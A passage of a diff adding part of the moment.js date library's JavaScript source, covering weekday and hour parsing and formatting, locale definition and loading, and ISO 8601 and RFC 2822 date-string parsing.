+        input = parseWeekday(input, this.localeData());
+        return this.add(input - day, 'd');
+    } else {
+        return day;
+    }
+}
+
+function getSetLocaleDayOfWeek (input) {
+    if (!this.isValid()) {
+        return input != null ? this : NaN;
+    }
+    var weekday = (this.day() + 7 - this.localeData()._week.dow) % 7;
+    return input == null ? weekday : this.add(input - weekday, 'd');
+}
+
+function getSetISODayOfWeek (input) {
+    if (!this.isValid()) {
+        return input != null ? this : NaN;
+    }
+
+    // behaves the same as moment#day except
+    // as a getter, returns 7 instead of 0 (1-7 range instead of 0-6)
+    // as a setter, sunday should belong to the previous week.
+
+    if (input != null) {
+        var weekday = parseIsoWeekday(input, this.localeData());
+        return this.day(this.day() % 7 ? weekday : weekday - 7);
+    } else {
+        return this.day() || 7;
+    }
+}
+
+var defaultWeekdaysRegex = matchWord;
+function weekdaysRegex (isStrict) {
+    if (this._weekdaysParseExact) {
+        if (!hasOwnProp(this, '_weekdaysRegex')) {
+            computeWeekdaysParse.call(this);
+        }
+        if (isStrict) {
+            return this._weekdaysStrictRegex;
+        } else {
+            return this._weekdaysRegex;
+        }
+    } else {
+        if (!hasOwnProp(this, '_weekdaysRegex')) {
+            this._weekdaysRegex = defaultWeekdaysRegex;
+        }
+        return this._weekdaysStrictRegex && isStrict ?
+            this._weekdaysStrictRegex : this._weekdaysRegex;
+    }
+}
+
+var defaultWeekdaysShortRegex = matchWord;
+function weekdaysShortRegex (isStrict) {
+    if (this._weekdaysParseExact) {
+        if (!hasOwnProp(this, '_weekdaysRegex')) {
+            computeWeekdaysParse.call(this);
+        }
+        if (isStrict) {
+            return this._weekdaysShortStrictRegex;
+        } else {
+            return this._weekdaysShortRegex;
+        }
+    } else {
+        if (!hasOwnProp(this, '_weekdaysShortRegex')) {
+            this._weekdaysShortRegex = defaultWeekdaysShortRegex;
+        }
+        return this._weekdaysShortStrictRegex && isStrict ?
+            this._weekdaysShortStrictRegex : this._weekdaysShortRegex;
+    }
+}
+
+var defaultWeekdaysMinRegex = matchWord;
+function weekdaysMinRegex (isStrict) {
+    if (this._weekdaysParseExact) {
+        if (!hasOwnProp(this, '_weekdaysRegex')) {
+            computeWeekdaysParse.call(this);
+        }
+        if (isStrict) {
+            return this._weekdaysMinStrictRegex;
+        } else {
+            return this._weekdaysMinRegex;
+        }
+    } else {
+        if (!hasOwnProp(this, '_weekdaysMinRegex')) {
+            this._weekdaysMinRegex = defaultWeekdaysMinRegex;
+        }
+        return this._weekdaysMinStrictRegex && isStrict ?
+            this._weekdaysMinStrictRegex : this._weekdaysMinRegex;
+    }
+}
+
+
+function computeWeekdaysParse () {
+    function cmpLenRev(a, b) {
+        return b.length - a.length;
+    }
+
+    var minPieces = [], shortPieces = [], longPieces = [], mixedPieces = [],
+        i, mom, minp, shortp, longp;
+    for (i = 0; i < 7; i++) {
+        // make the regex if we don't have it already
+        mom = createUTC([2000, 1]).day(i);
+        minp = this.weekdaysMin(mom, '');
+        shortp = this.weekdaysShort(mom, '');
+        longp = this.weekdays(mom, '');
+        minPieces.push(minp);
+        shortPieces.push(shortp);
+        longPieces.push(longp);
+        mixedPieces.push(minp);
+        mixedPieces.push(shortp);
+        mixedPieces.push(longp);
+    }
+    // Sorting makes sure if one weekday (or abbr) is a prefix of another it
+    // will match the longer piece.
+    minPieces.sort(cmpLenRev);
+    shortPieces.sort(cmpLenRev);
+    longPieces.sort(cmpLenRev);
+    mixedPieces.sort(cmpLenRev);
+    for (i = 0; i < 7; i++) {
+        shortPieces[i] = regexEscape(shortPieces[i]);
+        longPieces[i] = regexEscape(longPieces[i]);
+        mixedPieces[i] = regexEscape(mixedPieces[i]);
+    }
+
+    this._weekdaysRegex = new RegExp('^(' + mixedPieces.join('|') + ')', 'i');
+    this._weekdaysShortRegex = this._weekdaysRegex;
+    this._weekdaysMinRegex = this._weekdaysRegex;
+
+    this._weekdaysStrictRegex = new RegExp('^(' + longPieces.join('|') + ')', 'i');
+    this._weekdaysShortStrictRegex = new RegExp('^(' + shortPieces.join('|') + ')', 'i');
+    this._weekdaysMinStrictRegex = new RegExp('^(' + minPieces.join('|') + ')', 'i');
+}
+
+// FORMATTING
+
+function hFormat() {
+    return this.hours() % 12 || 12;
+}
+
+function kFormat() {
+    return this.hours() || 24;
+}
+
+addFormatToken('H', ['HH', 2], 0, 'hour');
+addFormatToken('h', ['hh', 2], 0, hFormat);
+addFormatToken('k', ['kk', 2], 0, kFormat);
+
+addFormatToken('hmm', 0, 0, function () {
+    return '' + hFormat.apply(this) + zeroFill(this.minutes(), 2);
+});
+
+addFormatToken('hmmss', 0, 0, function () {
+    return '' + hFormat.apply(this) + zeroFill(this.minutes(), 2) +
+        zeroFill(this.seconds(), 2);
+});
+
+addFormatToken('Hmm', 0, 0, function () {
+    return '' + this.hours() + zeroFill(this.minutes(), 2);
+});
+
+addFormatToken('Hmmss', 0, 0, function () {
+    return '' + this.hours() + zeroFill(this.minutes(), 2) +
+        zeroFill(this.seconds(), 2);
+});
+
+function meridiem (token, lowercase) {
+    addFormatToken(token, 0, 0, function () {
+        return this.localeData().meridiem(this.hours(), this.minutes(), lowercase);
+    });
+}
+
+meridiem('a', true);
+meridiem('A', false);
+
+// ALIASES
+
+addUnitAlias('hour', 'h');
+
+// PRIORITY
+addUnitPriority('hour', 13);
+
+// PARSING
+
+function matchMeridiem (isStrict, locale) {
+    return locale._meridiemParse;
+}
+
+addRegexToken('a',  matchMeridiem);
+addRegexToken('A',  matchMeridiem);
+addRegexToken('H',  match1to2);
+addRegexToken('h',  match1to2);
+addRegexToken('k',  match1to2);
+addRegexToken('HH', match1to2, match2);
+addRegexToken('hh', match1to2, match2);
+addRegexToken('kk', match1to2, match2);
+
+addRegexToken('hmm', match3to4);
+addRegexToken('hmmss', match5to6);
+addRegexToken('Hmm', match3to4);
+addRegexToken('Hmmss', match5to6);
+
+addParseToken(['H', 'HH'], HOUR);
+addParseToken(['k', 'kk'], function (input, array, config) {
+    var kInput = toInt(input);
+    array[HOUR] = kInput === 24 ? 0 : kInput;
+});
+addParseToken(['a', 'A'], function (input, array, config) {
+    config._isPm = config._locale.isPM(input);
+    config._meridiem = input;
+});
+addParseToken(['h', 'hh'], function (input, array, config) {
+    array[HOUR] = toInt(input);
+    getParsingFlags(config).bigHour = true;
+});
+addParseToken('hmm', function (input, array, config) {
+    var pos = input.length - 2;
+    array[HOUR] = toInt(input.substr(0, pos));
+    array[MINUTE] = toInt(input.substr(pos));
+    getParsingFlags(config).bigHour = true;
+});
+addParseToken('hmmss', function (input, array, config) {
+    var pos1 = input.length - 4;
+    var pos2 = input.length - 2;
+    array[HOUR] = toInt(input.substr(0, pos1));
+    array[MINUTE] = toInt(input.substr(pos1, 2));
+    array[SECOND] = toInt(input.substr(pos2));
+    getParsingFlags(config).bigHour = true;
+});
+addParseToken('Hmm', function (input, array, config) {
+    var pos = input.length - 2;
+    array[HOUR] = toInt(input.substr(0, pos));
+    array[MINUTE] = toInt(input.substr(pos));
+});
+addParseToken('Hmmss', function (input, array, config) {
+    var pos1 = input.length - 4;
+    var pos2 = input.length - 2;
+    array[HOUR] = toInt(input.substr(0, pos1));
+    array[MINUTE] = toInt(input.substr(pos1, 2));
+    array[SECOND] = toInt(input.substr(pos2));
+});
+
+// LOCALES
+
+function localeIsPM (input) {
+    // IE8 Quirks Mode & IE7 Standards Mode do not allow accessing strings like arrays
+    // Using charAt should be more compatible.
+    return ((input + '').toLowerCase().charAt(0) === 'p');
+}
+
+var defaultLocaleMeridiemParse = /[ap]\.?m?\.?/i;
+function localeMeridiem (hours, minutes, isLower) {
+    if (hours > 11) {
+        return isLower ? 'pm' : 'PM';
+    } else {
+        return isLower ? 'am' : 'AM';
+    }
+}
+
+
+// MOMENTS
+
+// Setting the hour should keep the time, because the user explicitly
+// specified which hour he wants. So trying to maintain the same hour (in
+// a new timezone) makes sense. Adding/subtracting hours does not follow
+// this rule.
+var getSetHour = makeGetSet('Hours', true);
+
+// months
+// week
+// weekdays
+// meridiem
+var baseConfig = {
+    calendar: defaultCalendar,
+    longDateFormat: defaultLongDateFormat,
+    invalidDate: defaultInvalidDate,
+    ordinal: defaultOrdinal,
+    dayOfMonthOrdinalParse: defaultDayOfMonthOrdinalParse,
+    relativeTime: defaultRelativeTime,
+
+    months: defaultLocaleMonths,
+    monthsShort: defaultLocaleMonthsShort,
+
+    week: defaultLocaleWeek,
+
+    weekdays: defaultLocaleWeekdays,
+    weekdaysMin: defaultLocaleWeekdaysMin,
+    weekdaysShort: defaultLocaleWeekdaysShort,
+
+    meridiemParse: defaultLocaleMeridiemParse
+};
+
+// internal storage for locale config files
+var locales = {};
+var localeFamilies = {};
+var globalLocale;
+
+function normalizeLocale(key) {
+    return key ? key.toLowerCase().replace('_', '-') : key;
+}
+
+// pick the locale from the array
+// try ['en-au', 'en-gb'] as 'en-au', 'en-gb', 'en', as in move through the list trying each
+// substring from most specific to least, but move to the next array item if it's a more specific variant than the current root
+function chooseLocale(names) {
+    var i = 0, j, next, locale, split;
+
+    while (i < names.length) {
+        split = normalizeLocale(names[i]).split('-');
+        j = split.length;
+        next = normalizeLocale(names[i + 1]);
+        next = next ? next.split('-') : null;
+        while (j > 0) {
+            locale = loadLocale(split.slice(0, j).join('-'));
+            if (locale) {
+                return locale;
+            }
+            if (next && next.length >= j && compareArrays(split, next, true) >= j - 1) {
+                //the next array item is better than a shallower substring of this one
+                break;
+            }
+            j--;
+        }
+        i++;
+    }
+    return null;
+}
+
+function loadLocale(name) {
+    var oldLocale = null;
+    // TODO: Find a better way to register and load all the locales in Node
+    if (!locales[name] && (typeof module !== 'undefined') &&
+            module && module.exports) {
+        try {
+            oldLocale = globalLocale._abbr;
+            var aliasedRequire = require;
+            aliasedRequire('./locale/' + name);
+            getSetGlobalLocale(oldLocale);
+        } catch (e) {}
+    }
+    return locales[name];
+}
+
+// This function will load locale and then set the global locale.  If
+// no arguments are passed in, it will simply return the current global
+// locale key.
+function getSetGlobalLocale (key, values) {
+    var data;
+    if (key) {
+        if (isUndefined(values)) {
+            data = getLocale(key);
+        }
+        else {
+            data = defineLocale(key, values);
+        }
+
+        if (data) {
+            // moment.duration._locale = moment._locale = data;
+            globalLocale = data;
+        }
+    }
+
+    return globalLocale._abbr;
+}
+
+function defineLocale (name, config) {
+    if (config !== null) {
+        var parentConfig = baseConfig;
+        config.abbr = name;
+        if (locales[name] != null) {
+            deprecateSimple('defineLocaleOverride',
+                    'use moment.updateLocale(localeName, config) to change ' +
+                    'an existing locale. moment.defineLocale(localeName, ' +
+                    'config) should only be used for creating a new locale ' +
+                    'See http://momentjs.com/guides/#/warnings/define-locale/ for more info.');
+            parentConfig = locales[name]._config;
+        } else if (config.parentLocale != null) {
+            if (locales[config.parentLocale] != null) {
+                parentConfig = locales[config.parentLocale]._config;
+            } else {
+                if (!localeFamilies[config.parentLocale]) {
+                    localeFamilies[config.parentLocale] = [];
+                }
+                localeFamilies[config.parentLocale].push({
+                    name: name,
+                    config: config
+                });
+                return null;
+            }
+        }
+        locales[name] = new Locale(mergeConfigs(parentConfig, config));
+
+        if (localeFamilies[name]) {
+            localeFamilies[name].forEach(function (x) {
+                defineLocale(x.name, x.config);
+            });
+        }
+
+        // backwards compat for now: also set the locale
+        // make sure we set the locale AFTER all child locales have been
+        // created, so we won't end up with the child locale set.
+        getSetGlobalLocale(name);
+
+
+        return locales[name];
+    } else {
+        // useful for testing
+        delete locales[name];
+        return null;
+    }
+}
+
+function updateLocale(name, config) {
+    if (config != null) {
+        var locale, tmpLocale, parentConfig = baseConfig;
+        // MERGE
+        tmpLocale = loadLocale(name);
+        if (tmpLocale != null) {
+            parentConfig = tmpLocale._config;
+        }
+        config = mergeConfigs(parentConfig, config);
+        locale = new Locale(config);
+        locale.parentLocale = locales[name];
+        locales[name] = locale;
+
+        // backwards compat for now: also set the locale
+        getSetGlobalLocale(name);
+    } else {
+        // pass null for config to unupdate, useful for tests
+        if (locales[name] != null) {
+            if (locales[name].parentLocale != null) {
+                locales[name] = locales[name].parentLocale;
+            } else if (locales[name] != null) {
+                delete locales[name];
+            }
+        }
+    }
+    return locales[name];
+}
+
+// returns locale data
+function getLocale (key) {
+    var locale;
+
+    if (key && key._locale && key._locale._abbr) {
+        key = key._locale._abbr;
+    }
+
+    if (!key) {
+        return globalLocale;
+    }
+
+    if (!isArray(key)) {
+        //short-circuit everything else
+        locale = loadLocale(key);
+        if (locale) {
+            return locale;
+        }
+        key = [key];
+    }
+
+    return chooseLocale(key);
+}
+
+function listLocales() {
+    return keys(locales);
+}
+
+function checkOverflow (m) {
+    var overflow;
+    var a = m._a;
+
+    if (a && getParsingFlags(m).overflow === -2) {
+        overflow =
+            a[MONTH]       < 0 || a[MONTH]       > 11  ? MONTH :
+            a[DATE]        < 1 || a[DATE]        > daysInMonth(a[YEAR], a[MONTH]) ? DATE :
+            a[HOUR]        < 0 || a[HOUR]        > 24 || (a[HOUR] === 24 && (a[MINUTE] !== 0 || a[SECOND] !== 0 || a[MILLISECOND] !== 0)) ? HOUR :
+            a[MINUTE]      < 0 || a[MINUTE]      > 59  ? MINUTE :
+            a[SECOND]      < 0 || a[SECOND]      > 59  ? SECOND :
+            a[MILLISECOND] < 0 || a[MILLISECOND] > 999 ? MILLISECOND :
+            -1;
+
+        if (getParsingFlags(m)._overflowDayOfYear && (overflow < YEAR || overflow > DATE)) {
+            overflow = DATE;
+        }
+        if (getParsingFlags(m)._overflowWeeks && overflow === -1) {
+            overflow = WEEK;
+        }
+        if (getParsingFlags(m)._overflowWeekday && overflow === -1) {
+            overflow = WEEKDAY;
+        }
+
+        getParsingFlags(m).overflow = overflow;
+    }
+
+    return m;
+}
+
+// Pick the first defined of two or three arguments.
+function defaults(a, b, c) {
+    if (a != null) {
+        return a;
+    }
+    if (b != null) {
+        return b;
+    }
+    return c;
+}
+
+function currentDateArray(config) {
+    // hooks is actually the exported moment object
+    var nowValue = new Date(hooks.now());
+    if (config._useUTC) {
+        return [nowValue.getUTCFullYear(), nowValue.getUTCMonth(), nowValue.getUTCDate()];
+    }
+    return [nowValue.getFullYear(), nowValue.getMonth(), nowValue.getDate()];
+}
+
+// convert an array to a date.
+// the array should mirror the parameters below
+// note: all values past the year are optional and will default to the lowest possible value.
+// [year, month, day , hour, minute, second, millisecond]
+function configFromArray (config) {
+    var i, date, input = [], currentDate, expectedWeekday, yearToUse;
+
+    if (config._d) {
+        return;
+    }
+
+    currentDate = currentDateArray(config);
+
+    //compute day of the year from weeks and weekdays
+    if (config._w && config._a[DATE] == null && config._a[MONTH] == null) {
+        dayOfYearFromWeekInfo(config);
+    }
+
+    //if the day of the year is set, figure out what it is
+    if (config._dayOfYear != null) {
+        yearToUse = defaults(config._a[YEAR], currentDate[YEAR]);
+
+        if (config._dayOfYear > daysInYear(yearToUse) || config._dayOfYear === 0) {
+            getParsingFlags(config)._overflowDayOfYear = true;
+        }
+
+        date = createUTCDate(yearToUse, 0, config._dayOfYear);
+        config._a[MONTH] = date.getUTCMonth();
+        config._a[DATE] = date.getUTCDate();
+    }
+
+    // Default to current date.
+    // * if no year, month, day of month are given, default to today
+    // * if day of month is given, default month and year
+    // * if month is given, default only year
+    // * if year is given, don't default anything
+    for (i = 0; i < 3 && config._a[i] == null; ++i) {
+        config._a[i] = input[i] = currentDate[i];
+    }
+
+    // Zero out whatever was not defaulted, including time
+    for (; i < 7; i++) {
+        config._a[i] = input[i] = (config._a[i] == null) ? (i === 2 ? 1 : 0) : config._a[i];
+    }
+
+    // Check for 24:00:00.000
+    if (config._a[HOUR] === 24 &&
+            config._a[MINUTE] === 0 &&
+            config._a[SECOND] === 0 &&
+            config._a[MILLISECOND] === 0) {
+        config._nextDay = true;
+        config._a[HOUR] = 0;
+    }
+
+    config._d = (config._useUTC ? createUTCDate : createDate).apply(null, input);
+    expectedWeekday = config._useUTC ? config._d.getUTCDay() : config._d.getDay();
+
+    // Apply timezone offset from input. The actual utcOffset can be changed
+    // with parseZone.
+    if (config._tzm != null) {
+        config._d.setUTCMinutes(config._d.getUTCMinutes() - config._tzm);
+    }
+
+    if (config._nextDay) {
+        config._a[HOUR] = 24;
+    }
+
+    // check for mismatching day of week
+    if (config._w && typeof config._w.d !== 'undefined' && config._w.d !== expectedWeekday) {
+        getParsingFlags(config).weekdayMismatch = true;
+    }
+}
+
+function dayOfYearFromWeekInfo(config) {
+    var w, weekYear, week, weekday, dow, doy, temp, weekdayOverflow;
+
+    w = config._w;
+    if (w.GG != null || w.W != null || w.E != null) {
+        dow = 1;
+        doy = 4;
+
+        // TODO: We need to take the current isoWeekYear, but that depends on
+        // how we interpret now (local, utc, fixed offset). So create
+        // a now version of current config (take local/utc/offset flags, and
+        // create now).
+        weekYear = defaults(w.GG, config._a[YEAR], weekOfYear(createLocal(), 1, 4).year);
+        week = defaults(w.W, 1);
+        weekday = defaults(w.E, 1);
+        if (weekday < 1 || weekday > 7) {
+            weekdayOverflow = true;
+        }
+    } else {
+        dow = config._locale._week.dow;
+        doy = config._locale._week.doy;
+
+        var curWeek = weekOfYear(createLocal(), dow, doy);
+
+        weekYear = defaults(w.gg, config._a[YEAR], curWeek.year);
+
+        // Default to current week.
+        week = defaults(w.w, curWeek.week);
+
+        if (w.d != null) {
+            // weekday -- low day numbers are considered next week
+            weekday = w.d;
+            if (weekday < 0 || weekday > 6) {
+                weekdayOverflow = true;
+            }
+        } else if (w.e != null) {
+            // local weekday -- counting starts from begining of week
+            weekday = w.e + dow;
+            if (w.e < 0 || w.e > 6) {
+                weekdayOverflow = true;
+            }
+        } else {
+            // default to begining of week
+            weekday = dow;
+        }
+    }
+    if (week < 1 || week > weeksInYear(weekYear, dow, doy)) {
+        getParsingFlags(config)._overflowWeeks = true;
+    } else if (weekdayOverflow != null) {
+        getParsingFlags(config)._overflowWeekday = true;
+    } else {
+        temp = dayOfYearFromWeeks(weekYear, week, weekday, dow, doy);
+        config._a[YEAR] = temp.year;
+        config._dayOfYear = temp.dayOfYear;
+    }
+}
+
+// iso 8601 regex
+// 0000-00-00 0000-W00 or 0000-W00-0 + T + 00 or 00:00 or 00:00:00 or 00:00:00.000 + +00:00 or +0000 or +00)
+var extendedIsoRegex = /^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/;
+var basicIsoRegex = /^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/;
+
+var tzRegex = /Z|[+-]\d\d(?::?\d\d)?/;
+
+var isoDates = [
+    ['YYYYYY-MM-DD', /[+-]\d{6}-\d\d-\d\d/],
+    ['YYYY-MM-DD', /\d{4}-\d\d-\d\d/],
+    ['GGGG-[W]WW-E', /\d{4}-W\d\d-\d/],
+    ['GGGG-[W]WW', /\d{4}-W\d\d/, false],
+    ['YYYY-DDD', /\d{4}-\d{3}/],
+    ['YYYY-MM', /\d{4}-\d\d/, false],
+    ['YYYYYYMMDD', /[+-]\d{10}/],
+    ['YYYYMMDD', /\d{8}/],
+    // YYYYMM is NOT allowed by the standard
+    ['GGGG[W]WWE', /\d{4}W\d{3}/],
+    ['GGGG[W]WW', /\d{4}W\d{2}/, false],
+    ['YYYYDDD', /\d{7}/]
+];
+
+// iso time formats and regexes
+var isoTimes = [
+    ['HH:mm:ss.SSSS', /\d\d:\d\d:\d\d\.\d+/],
+    ['HH:mm:ss,SSSS', /\d\d:\d\d:\d\d,\d+/],
+    ['HH:mm:ss', /\d\d:\d\d:\d\d/],
+    ['HH:mm', /\d\d:\d\d/],
+    ['HHmmss.SSSS', /\d\d\d\d\d\d\.\d+/],
+    ['HHmmss,SSSS', /\d\d\d\d\d\d,\d+/],
+    ['HHmmss', /\d\d\d\d\d\d/],
+    ['HHmm', /\d\d\d\d/],
+    ['HH', /\d\d/]
+];
+
+var aspNetJsonRegex = /^\/?Date\((\-?\d+)/i;
+
+// date from iso format
+function configFromISO(config) {
+    var i, l,
+        string = config._i,
+        match = extendedIsoRegex.exec(string) || basicIsoRegex.exec(string),
+        allowTime, dateFormat, timeFormat, tzFormat;
+
+    if (match) {
+        getParsingFlags(config).iso = true;
+
+        for (i = 0, l = isoDates.length; i < l; i++) {
+            if (isoDates[i][1].exec(match[1])) {
+                dateFormat = isoDates[i][0];
+                allowTime = isoDates[i][2] !== false;
+                break;
+            }
+        }
+        if (dateFormat == null) {
+            config._isValid = false;
+            return;
+        }
+        if (match[3]) {
+            for (i = 0, l = isoTimes.length; i < l; i++) {
+                if (isoTimes[i][1].exec(match[3])) {
+                    // match[2] should be 'T' or space
+                    timeFormat = (match[2] || ' ') + isoTimes[i][0];
+                    break;
+                }
+            }
+            if (timeFormat == null) {
+                config._isValid = false;
+                return;
+            }
+        }
+        if (!allowTime && timeFormat != null) {
+            config._isValid = false;
+            return;
+        }
+        if (match[4]) {
+            if (tzRegex.exec(match[4])) {
+                tzFormat = 'Z';
+            } else {
+                config._isValid = false;
+                return;
+            }
+        }
+        config._f = dateFormat + (timeFormat || '') + (tzFormat || '');
+        configFromStringAndFormat(config);
+    } else {
+        config._isValid = false;
+    }
+}
+
+// RFC 2822 regex: For details see https://tools.ietf.org/html/rfc2822#section-3.3
+var rfc2822 = /^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),?\s)?(\d{1,2})\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d{2,4})\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|([+-]\d{4}))$/;
+
+function extractFromRFC2822Strings(yearStr, monthStr, dayStr, hourStr, minuteStr, secondStr) {
+    var result = [
+        untruncateYear(yearStr),
+        defaultLocaleMonthsShort.indexOf(monthStr),
+        parseInt(dayStr, 10),
+        parseInt(hourStr, 10),
+        parseInt(minuteStr, 10)
+    ];
+
+    if (secondStr) {
+        result.push(parseInt(secondStr, 10));
+    }
+
+    return result;
+}
+
+function untruncateYear(yearStr) {
+    var year = parseInt(yearStr, 10);
+    if (year <= 49) {
+        return 2000 + year;
+    } else if (year <= 999) {
+        return 1900 + year;
+    }
+    return year;
+}
+
+function preprocessRFC2822(s) {
+    // Remove comments and folding whitespace and replace multiple-spaces with a single space
+    return s.replace(/\([^)]*\)|[\n\t]/g, ' ').replace(/(\s\s+)/g, ' ').trim();
+}
+
+function checkWeekday(weekdayStr, parsedInput, config) {
+    if (weekdayStr) {
+        // TODO: Replace the vanilla JS Date object with an indepentent day-of-week check.
+        var weekdayProvided = defaultLocaleWeekdaysShort.indexOf(weekdayStr),
+            weekdayActual = new Date(parsedInput[0], parsedInput[1], parsedInput[2]).getDay();
+        if (weekdayProvided !== weekdayActual) {
+            getParsingFlags(config).weekdayMismatch = true;
+            config._isValid = false;
+            return false;
+        }
+    }
+    return true;
+}
+
+var obsOffsets = {
+    UT: 0,
+    GMT: 0,
+    EDT: -4 * 60,
+    EST: -5 * 60,
+    CDT: -5 * 60,
+    CST: -6 * 60,
+    MDT: -6 * 60,
+    MST: -7 * 60,
+    PDT: -7 * 60,
+    PST: -8 * 60
+};
+
+function calculateOffset(obsOffset, militaryOffset, numOffset) {
+    if (obsOffset) {
+        return obsOffsets[obsOffset];
+    } else if (militaryOffset) {
+        // the only allowed military tz is Z
+        return 0;
+    } else {
+        var hm = parseInt(numOffset, 10);
+        var m = hm % 100, h = (hm - m) / 100;
+        return h * 60 + m;
+    }
+}
+
+// date and time from ref 2822 format
+function configFromRFC2822(config) {
+    var match = rfc2822.exec(preprocessRFC2822(config._i));
+    if (match) {
+        var parsedArray = extractFromRFC2822Strings(match[4], match[3], match[2], match[5], match[6], match[7]);
+        if (!checkWeekday(match[1], parsedArray, config)) {
+            return;
+        }
+
+        config._a = parsedArray;
+        config._tzm = calculateOffset(match[8], match[9], match[10]);
+
+        config._d = createUTCDate.apply(null, config._a);
+        config._d.setUTCMinutes(config._d.getUTCMinutes() - config._tzm);
+
+        getParsingFlags(config).rfc2822 = true;
+    } else {
+        config._isValid = false;
+    }
+}
+
+// date from iso format or fallback
+function configFromString(config) {
+    var matched = aspNetJsonRegex.exec(config._i);
+
+    if (matched !== null) {
+        config._d = new Date(+matched[1]);
+        return;
+    }
+
+    configFromISO(config);
+    if (config._isValid === false) {
+        delete config._isValid;
+    } else {
+        return;
+    }
+
+    configFromRFC2822(config);
+    if (config._isValid === false) {
+        delete config._isValid;
+    } else {
+        return;
+    }
+
+    // Final attempt, use Input Fallback
+    hooks.createFromInputFallback(config);
+}
+
+hooks.createFromInputFallback = deprecate(
+    'value provided is not in a recognized RFC2822 or ISO format. moment construction falls back to js Date(), ' +
+    'which is not reliable across all browsers and versions. Non RFC2822/ISO date formats are ' +
+    'discouraged and will be removed in an upcoming major release. Please refer to ' +
+    'http://momentjs.com/guides/#/warnings/js-date/ for more info.',
+    function (config) {
+        config._d = new Date(config._i + (config._useUTC ? ' UTC' : ''));
+    }
+);
+
+// constant that refers to the ISO standard
+hooks.ISO_8601 = function () {};
+
+// constant that refers to the RFC 2822 form
+hooks.RFC_2822 = function () {};
+
+// date from string and format string
+function configFromStringAndFormat(config) {
+    // TODO: Move this to another part of the creation flow to prevent circular deps
+    if (config._f === hooks.ISO_8601) {
+        configFromISO(config);
+        return;
+    }
+    if (config._f === hooks.RFC_2822) {
+        configFromRFC2822(config);
+        return;
+    }
+    config._a = [];
+    getParsingFlags(config).empty = true;
+
+    // This array is used to make a Date, either with `new Date` or `Date.UTC`
+    var string = '' + config._i,
+        i, parsedInput, tokens, token, skipped,
+        stringLength = string.length,
+        totalParsedInputLength = 0;
+
+    tokens = expandFormat(config._f, config._locale).match(formattingTokens) || [];
+
+    for (i = 0; i < tokens.length; i++) {
+        token = tokens[i];
+        parsedInput = (string.match(getParseRegexForToken(token, config)) || [])[0];
+        // console.log('token', token, 'parsedInput', parsedInput,
+        //         'regex', getParseRegexForToken(token, config));
+        if (parsedInput) {
+            skipped = string.substr(0, string.indexOf(parsedInput));
+            if (skipped.length > 0) {
+                getParsingFlags(config).unusedInput.push(skipped);
+            }
+            string = string.slice(string.indexOf(parsedInput) + parsedInput.length);
+            totalParsedInputLength += parsedInput.length;
+        }
+        // don't parse if it's not a known token
+        if (formatTokenFunctions[token]) {
+            if (parsedInput) {
+                getParsingFlags(config).empty = false;
+            }
+            else {
+                getParsingFlags(config).unusedTokens.push(token);
+            }
+            addTimeToArrayFromToken(token, parsedInput, config);
+        }
+        else if (config._strict && !parsedInput) {
+            getParsingFlags(config).unusedTokens.push(token);
+        }
+    }
+
+    // add remaining unparsed input length to the string
+    getParsingFlags(config).charsLeftOver = stringLength - totalParsedInputLength;
+    if (string.length > 0) {
+        getParsingFlags(config).unusedInput.push(string);
+    }
+
+    // clear _12h flag if hour is <= 12
+    if (config._a[HOUR] <= 12 &&
+        getParsingFlags(config).bigHour === true &&
+        config._a[HOUR] > 0) {
+        getParsingFlags(config).bigHour = undefined;
+    }
+
+    getParsingFlags(config).parsedDateParts = config._a.slice(0);
+    getParsingFlags(config).meridiem = config._meridiem;
+    // handle meridiem
+    config._a[HOUR] = meridiemFixWrap(config._locale, config._a[HOUR], config._meridiem);
+
+    configFromArray(config);
+    checkOverflow(config);
+}
+
+
+function meridiemFixWrap (locale, hour, meridiem) {
+    var isPm;
+
+    if (meridiem == null) {
+        // nothing to do
+        return hour;
+    }
+    if (locale.meridiemHour != null) {
+        return locale.meridiemHour(hour, meridiem);
+    } else if (locale.isPM != null) {
+        // Fallback
+        isPm = locale.isPM(meridiem);
+        if (isPm && hour < 12) {
+            hour += 12;
+        }
+        if (!isPm && hour === 12) {
+            hour = 0;
+        }
+        return hour;
+    } else {
+        // this is not supposed to happen
+        return hour;
+    }
+}
+
+// date from string and array of format strings
+function configFromStringAndArray(config) {
+    var tempConfig,
+        bestMoment,
+
+        scoreToBeat,
+        i,
+        currentScore;
+
+    if (config._f.length === 0) {
+        getParsingFlags(config).invalidFormat = true;
+        config._d = new Date(NaN);
+        return;
+    }
+
+    for (i = 0; i < config._f.length; i++) {
+        currentScore = 0;
+        tempConfig = copyConfig({}, config);
+        if (config._useUTC != null) {
+            tempConfig._useUTC = config._useUTC;
+        }
+        tempConfig._f = config._f[i];
+        configFromStringAndFormat(tempConfig);
+
+        if (!isValid(tempConfig)) {
+            continue;
+        }
+
+        // if there is any input that was not parsed add a penalty for that format
+        currentScore += getParsingFlags(tempConfig).charsLeftOver;
+
+        //or tokens
+        currentScore += getParsingFlags(tempConfig).unusedTokens.length * 10;
+
+        getParsingFlags(tempConfig).score = currentScore;
+
+        if (scoreToBeat == null || currentScore < scoreToBeat) {
+            scoreToBeat = currentScore;
+            bestMoment = tempConfig;
+        }
+    }
+
+    extend(config, bestMoment || tempConfig);
+}
+
+function configFromObject(config) {
+    if (config._d) {
+        return;
+    }
+
+    var i = normalizeObjectUnits(config._i);
+    config._a = map([i.year, i.month, i.day || i.date, i.hour, i.minute, i.second, i.millisecond], function (obj) {
+        return obj && parseInt(obj, 10);
+    });
+
+    configFromArray(config);
+}
+
+function createFromConfig (config) {
+    var res = new Moment(checkOverflow(prepareConfig(config)));
+    if (res._nextDay) {
+        // Adding is smart enough around DST
+        res.add(1, 'd');
+        res._nextDay = undefined;
+    }
+
+    return res;
+}
+
+function prepareConfig (config) {
+    var input = config._i,
+        format = config._f;
+
+    config._locale = config._locale || getLocale(config._l);
+
